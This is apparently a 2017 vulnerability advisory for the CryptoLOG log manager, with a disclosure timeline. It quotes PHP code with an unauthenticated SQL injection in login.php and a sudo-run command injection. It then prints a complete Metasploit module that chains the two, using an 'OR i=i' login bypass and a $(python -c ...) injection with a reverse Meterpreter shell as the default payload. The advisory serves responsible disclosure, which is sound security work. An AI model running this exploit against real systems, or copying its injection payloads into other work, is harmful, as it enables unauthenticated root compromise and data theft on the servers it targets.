Advisory | Cryptolog Unauthenticated Remote Code Execution

CRYPTOLOG is a log manager that collects, normalizes, and categorizes massive logs generated across your network and turn it into valuable information on an intuitive interface where advance search, analysis and correlation monitoring becomes easier and more efficient.

Advisory Informations

Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= 2017
Technology: PHP
Vendor URL: https://www.crypttech.com/en/products/product-detail/CryptoLOG/65/0/0
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 5 Apr 2017

Technical Details

During the investigation, we’ve found two different vulnerability.

Unauthenticated SQL Injection

Following code piece is taken from login.php file.

$user=$_POST['user'];
$pass=$_POST['pass'];
if($_GET['act']=='logout'){
session_unset();
$contenttowrite = $contenttowrite.'<tr><td colspan="2">Çıkış yaptınız!</td></tr>';

}else if($_GET['act']=='login'){
  $link = mysql_connect(DB_HOST, DB_USER, DB_PASS);
  if (!$link) die ("Out of service");
  mysql_select_db(DB_DATABASE, $link) or die ("Out of service");
  $queryusercheck = mysql_query("SELECT count(id) FROM cc_users WHERE USERNAME='$user' AND `PASSWORD`='".computeHash($user, $pass)."'",$link);
  $usercheck_value = mysql_fetch_array ($queryusercheck);

Obviously, there is sql injection vulnerability that can lead to login bypass.

Authenticated Command Injection

Following code piece is taken from

<?php
include("config.php");
require_once("kontrol.php");
$opt=$_POST['opt'];
$lsid=$_POST['lsid'];
$sharetype=$_POST['lssharetype'];
$remoteaddress=$_POST['lsremoteaddress'];
$sharefolder=$_POST['lssharefolder'];
$user=$_POST['lsuser'];
$pass=$_POST['lspass'];
$domain=$_POST['lsdomain'];
$dbConn = mysql_connect(DB_HOST, DB_USER, DB_PASS);
if (!$dbConn) die ("Out of service");
mysql_select_db(DB_DATABASE, $dbConn) or die ("Out of service");

include("classes/logshares_class.php");

if($opt=='del')
{
  cLogshares::fDeleteFileshareDB($dbConn,$lsid);
}
else if($opt=='add')
{
  cLogshares::fAddFileshareDB($dbConn,$sharetype,$remoteaddress,$sharefolder,$user,$pass,$domain);
}
else if($opt=='check')
{
  echo cLogshares::fTestFileshare("/mnt/logsource_".$lsid."_".$sharetype);
}
else if($opt=='mount')
{
  cLogshares::fMountFileshareOnly($dbConn,$lsid,$sharetype);
  echo cLogshares::fTestFileshare("/mnt/logsource_".$lsid."_".$sharetype);
}
?>

$sharetype parameter is populated by using user supplied data. And then it used at inside of function parameter for fTestFileshare(). Here is the relavent function definition.

function fTestFileshare($sharefolder)
{
  $output = shell_exec('sudo /opt/cryptolog/scripts/testmountpoint.sh '.$sharefolder);
  return trim($output);
}

Plus, the command is executed with root privileges because of sudo usage.

Exploitation & Metasploit Module

We successfully exploited both vulnerability. By exploiting sql injection flaw on login page, we’re retrieving a valid cookie value and then abusing command injection issue gives us a root privileges shell.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "CryptoLOG Remote Code Execution",
      'Description'    => %q{
        This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a
        terminal command under the context of the web user.

        login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation
        and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session.

        logshares_ajax.php endpoint is repsonsible for executing a operation system command. It's not possible to access this endpoint without having
        a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue.

        Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <[email protected]>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
        ],
      'DefaultOptions'  =>
        {
          'Payload'  => 'python/meterpreter/reverse_tcp'
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [[ 'Automatic', { }]],
      'Privileged'     => false,
      'DisclosureDate' => "May 3 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
      ], self.class)
  end

  def check
    r = rand_text_alpha(15)
    i = rand_text_numeric(5)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
      'vars_get' => {
        'act' => 'login'
      },
        'vars_post' => {
        'user' => "#{r}' OR #{i}=#{i}-- #{r}",
        'pass' => "#{r}"
      }
    })

    if res && res.code == 302 && res.headers.include?('Set-Cookie')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Bypassing login by exploiting SQLi flaw")

    r = rand_text_alpha(15)
    i = rand_text_numeric(5)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
      'vars_get' => {
        'act' => 'login'
      },
      'vars_post' => {
        'user' => "#{r}' OR #{i}=#{i}-- #{r}",
        'pass' => "#{r}"
      }
    })

    if res && res.code == 302 && res.headers.include?('Set-Cookie')
      cookie = res.get_cookies
      print_good("Successfully logged in")
    else
      fail_with(Failure::Unknown, "Something went wrong.")
    end

    print_status("Exploiting command injection flaw")

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
      'cookie'    => cookie,
      'vars_post' => {
        'opt' => "check",
        'lsid' => "$(python -c \"#{payload.encoded}\")",
        'lssharetype' => "#{r}"
      }
    })

  end
end

You can see development process at following PR https://github.com/rapid7/metasploit-framework/pull/8331

Timeline

5 April 2017 – Vulnerability found during penetration testing.

5 April 2017  – First contact with vendor. All information (including msf module) is shared.

5 April 2017  – Response from vendor.  “You should be working on 9 years old version.”

5 April 2017  – We requested to share the latest version with us.

13 April 2017 – No response till this date. We fired a second email for assistance.

15 April 2017 – We shared the communication issue of vendor with our customer. Our customer requested the upgrade from vendor.

25 April 2017 – Upgrade to the latest version is completed on our client side. According to the information given from vendor, our client was using 2015 version.

02 May 2017 – We tried same metasploit modules against latest version and it just worked. No matter how hard we try, still not receiving any response from vendor.

03 May 2017 –  Advisory release.

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.